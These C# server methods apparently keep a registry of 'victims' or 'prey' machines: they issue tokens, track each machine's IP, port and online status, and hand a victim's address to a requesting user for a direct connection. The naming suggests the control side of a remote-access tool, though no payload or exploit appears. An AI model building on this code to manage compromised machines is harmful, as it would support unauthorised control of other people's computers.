private static void _AppendPrey(string[] str_com, IPEndPoint remoteEP, AllUser AllPlayer) { UserClient _one_user = new UserClient(str_com[4], str_com[5], Convert.ToInt32(str_com[3])); Prey _one_prey = new Prey(str_com[1], str_com[2]); bool notfound = false; foreach (var _user in AllPlayer.AllUser_database) { if (_CompareUser(_user, _one_user)) { foreach (var _prey in AllPrey.AllPrey_database) { if (_ComparePrey(_prey, _one_prey)) { _user._all_sacrifice.Add(_prey); Console.WriteLine("[append_prey][OK]"); byte[] msg = BaseTools.Convertbtst("[append_prey][OK]"); ReceiverUDP.udpServer.Send(msg, msg.Length, remoteEP); AllPlayer._SavePrey(_prey, _user); notfound = true; break; } } break; } } if (!notfound) { byte[] btnotfound = BaseTools.Convertbtst("[append_prey][not found]"); ReceiverUDP.udpServer.Send(btnotfound, btnotfound.Length, remoteEP); } }
private static void _RegistrNewPrey(string[] str_com, IPEndPoint remoteEP, AllPrey AllPrey) { Prey _prey = new Prey(remoteEP.Address.ToString(), remoteEP.Port, str_com[1], BaseTools._GenerateTokenPrey()); AllPrey.AllPrey_database.Add(_prey); byte[] camm = BaseTools.Convertbtst("[token][" + _prey.Token_sacrifice + "]"); ReceiverUDP.udpServer.Send(camm, camm.Length, remoteEP); Console.WriteLine(remoteEP.Address + ":" + remoteEP.Port + "присвоен токен " + _prey.Token_sacrifice); AllPrey.Save(_prey.Name_sacrifice, _prey.Token_sacrifice, remoteEP.Address.ToString(), remoteEP.Port.ToString()); }
public static bool _ComparePrey(Prey _baseuser, Prey _client) { if (_baseuser.Name_sacrifice == _client.Name_sacrifice && _baseuser.Token_sacrifice == _client.Token_sacrifice) { return(true); } else { return(false); } }
public AllPrey() { AllPrey_database = new List <Prey>(); this.xdoc = XDocument.Load(_Patch); foreach (XElement userElement in xdoc.Element("victims").Elements("prey")) { XElement _Name_sacrifice = userElement.Element("Name_sacrifice"); XElement Token_sacrifice = userElement.Element("Token_sacrifice"); XElement IP = userElement.Element("IP"); XElement Port = userElement.Element("Port"); Prey _one_prey = new Prey(IP.Value, Convert.ToInt32(Port.Value), _Name_sacrifice.Value, Token_sacrifice.Value); AllPrey_database.Add(_one_prey); } }
private static void _ForPreyOnline(string[] str_com, IPEndPoint remoteEP) { Prey _online = new Prey(remoteEP.Address.ToString(), remoteEP.Port, str_com[1], str_com[2]); for (int i = 0; i < AllPrey.AllPrey_database.Count; i++) { if (_ComparePrey(AllPrey.AllPrey_database[i], _online)) { AllPrey.AllPrey_database[i].online = true; AllPrey.AllPrey_database[i].ip = remoteEP; AllPrey.AllPrey_database[i].timeonline = DateTime.Now; Console.WriteLine(AllPrey.AllPrey_database[i].ip.Address + ":" + AllPrey.AllPrey_database[i].ip.Port + " " + AllPrey.AllPrey_database[i].Name_sacrifice + " " + AllPrey.AllPrey_database[i].timeonline + " online"); Console.WriteLine(" 1 " + AllPrey.AllPrey_database[i].Token_sacrifice + " " + AllPrey.AllPrey_database[i].online); } } }
private static void _NeedPrey(string[] str_com, IPEndPoint remoteEP, AllPrey AllPrey) { Prey cheackPrey = new Prey(str_com[1], str_com[2]); foreach (var prey in AllPrey.AllPrey_database) { if (_ComparePrey(prey, cheackPrey)) { string cmdforclient = "[for_prey_connect][" + prey.online + "][" + prey.ip + "]"; Console.WriteLine(cmdforclient); byte[] bt = BaseTools.Convertbtst(cmdforclient); ReceiverUDP.udpServer.Send(bt, bt.Length, remoteEP); string cmdforsrv = "[for_prey_connect][" + remoteEP + "]"; Console.WriteLine(cmdforsrv); byte[] btsrv = BaseTools.Convertbtst(cmdforsrv); ReceiverUDP.udpServer.Send(btsrv, btsrv.Length, prey.ip); } } }
public bool Cheak_status_Prey(Prey _one) { for (int i = 0; i < AllPrey.AllPrey_database.Count; i++) { if (Command._ComparePrey(_one, AllPrey.AllPrey_database[i])) { Console.WriteLine(" 2 " + AllPrey.AllPrey_database[i].Token_sacrifice + " " + AllPrey.AllPrey_database[i].online + " " + AllPrey.AllPrey_database[i].timeonline); if (AllPrey.AllPrey_database[i].online) { return(true); } else { return(false); } } } return(false); }
public List <Prey> _Get_Prey(XElement preyElement) { List <Prey> _allsacrifice = new List <Prey>(); foreach (XElement _one in preyElement.Elements("_Prey")) { Prey _prey = new Prey(_one.Element("IP_Last").Value, Convert.ToInt32(_one.Element("Port").Value), _one.Element("Name_Prey").Value, _one.Element("Token_Prey").Value); if (_prey.ip.Address.ToString() == "0.0.0.0" & _prey.online == false & _prey.Name_sacrifice == "0" & _prey.Token_sacrifice == "0") { } else { _allsacrifice.Add(_prey); } } return(_allsacrifice); }
public void _SavePrey(Prey _one_prey, UserClient _user) { var result = xdoc.Element("users").Elements("user").Single(x => x.Attribute("_ID_USER").Value == _user._ID_USER.ToString()); XElement _Prey = new XElement("_Prey"); XElement _IP_Last = new XElement("IP_Last", _one_prey.ip.Address); XElement _Port = new XElement("Port", _one_prey.ip.Port); XElement _Name_Prey = new XElement("Name_Prey", _one_prey.Name_sacrifice); XElement _Token_Prey = new XElement("Token_Prey", _one_prey.Token_sacrifice); _Prey.Add(_IP_Last); _Prey.Add(_Port); _Prey.Add(_Name_Prey); _Prey.Add(_Token_Prey); result.Element("_list_Prey").Add(_Prey); XDocument ff = new XDocument(); //xdoc.Element("users").Add(user); xdoc.Save("userdatabase.xml"); }